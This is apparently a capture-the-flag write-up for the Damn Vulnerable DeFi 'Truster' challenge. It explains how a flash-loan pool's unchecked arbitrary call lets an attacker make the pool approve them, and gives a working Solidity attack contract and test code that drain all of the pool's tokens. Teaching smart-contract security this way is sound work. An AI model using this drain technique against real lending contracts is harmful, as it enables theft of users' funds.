Damn Vulnerable DeFi - Truster Solution & Explain
![Damn Vulnerable DeFi - Truster Solution & Explain](/content/images/size/w1200/2024/03/Damn-Vulnerable-DeFi-Truster.webp)
Let's dive into the explanation and solution of Damn Vulnerable DeFi's Truster challenge!
Problem Overview
Here's the link to the Damn Vulnerable DeFi Truster challenge!
Let's take a look at the problem right away!
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
This is the content of the problem.
Here, incredibly, you have to steal all 1 million DVT tokens held by the pool without having a single token! And if possible, do it in a single transaction... It's a tough challenge, but if you calmly check the content, you can find the answer.
So, let's take a look at the code!
Code Details
TrusterLenderPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}
test
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Truster', function () {
let deployer, player;
let token, pool;
const TOKENS_IN_POOL = 1000000n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
pool = await (await ethers.getContractFactory('TrusterLenderPool', deployer)).deploy(token.address);
expect(await pool.token()).to.eq(token.address);
await token.transfer(pool.address, TOKENS_IN_POOL);
expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(player.address)).to.equal(0);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
await token.balanceOf(player.address)
).to.equal(TOKENS_IN_POOL);
expect(
await token.balanceOf(pool.address)
).to.equal(0);
});
});
Looking at the content of the problem earlier, the success conditions are as follows:
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
await token.balanceOf(player.address)
).to.equal(TOKENS_IN_POOL);
expect(
await token.balanceOf(pool.address)
).to.equal(0);
});
The player holds all the tokens that were in the pool.
The pool's tokens are zero.
These are the victory conditions. There's not much here that hints at a solution, so let's explore the actual codebase to find a hackable spot!
Thinking About the Attack
So how can the Player, who doesn't even have a token, steal all the tokens in the pool?
This time, there's only one place to focus on, so let's explain it in detail.
function flashLoan(
uint256 amount,
address borrower,
address target,
bytes calldata data
) external nonReentrant returns (bool) {
// プール内のトークン残高を確認
uint256 balanceBefore = token.balanceOf(address(this));
// borrowerにamount分のトークンを送金
token.transfer(borrower, amount);
// targetのfunctionCallを実行
target.functionCall(data);
// 実行前のトークン残高よりも少ない場合は失敗
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
The point here is the functionCall. Before and after this, it's a flash loan, and if you don't return all the borrowed tokens, the transaction will fail.
So, it seems there's only one chance.
But what can we do to make the hack successful?
This time, since we can freely execute the function of the address we specified (target) with functionCall(data), we can easily steal money if we do something.
Moreover, this function can be executed even if you don't have any tokens, so you can attack as much as you want. Let's take a look at the actual attack!
Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";
contract TrusterLenderPoolAttack {
/// @param _pool Address of the TrusterLenderPool
/// @param _token Address of the DamnValuableToken
function attack(address _pool, address _token) external {
// Create data to execute token.approve(address(this), type(uint256).max)
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
);
// Execute flashLoan in TrusterLenderPool
TrusterLenderPool(_pool).flashLoan(
0, // Zero or anything is fine
_pool,
_token,
data
);
// Receive the tokens from _pool since it's now approved
DamnValuableToken(_token).transferFrom(
_pool,
msg.sender,
DamnValuableToken(_token).balanceOf(_pool)
);
}
}
The steps taken are as follows:
- Create an attack contract.
- Create and execute data to move tokens within the pool's contract using
approve
. - Send the tokens to the Player after the flashLoan.
This way, all the tokens can be taken from the pool in a single transaction. It's surprisingly simple!
The test ends with the following two lines:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
attack = await (await ethers.getContractFactory('TrusterLenderPoolAttack', player)).deploy();
await attack.connect(player).attack(pool.address, token.address);
});
For multiple transactions, you can test as follows:
- Create data for executing
approve
. - Execute the flashLoan.
- Send the tokens from the pool to the Player.
it('Execution', async function () {
// Create data
const ABI = ['function approve(address spender, uint256 amount)'];
const iface = new ethers.utils.Interface(ABI);
const data = iface.encodeFunctionData('approve', [player.address, ethers.constants.MaxUint256]);
// Execute the flashLoan
await pool.flashLoan(0, pool.address, token.address, data);
// Player withdraws tokens from the pool
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
By launching such an attack, the contract can be easily hacked. So, if you understand each step calmly and surely, you can solve the problem!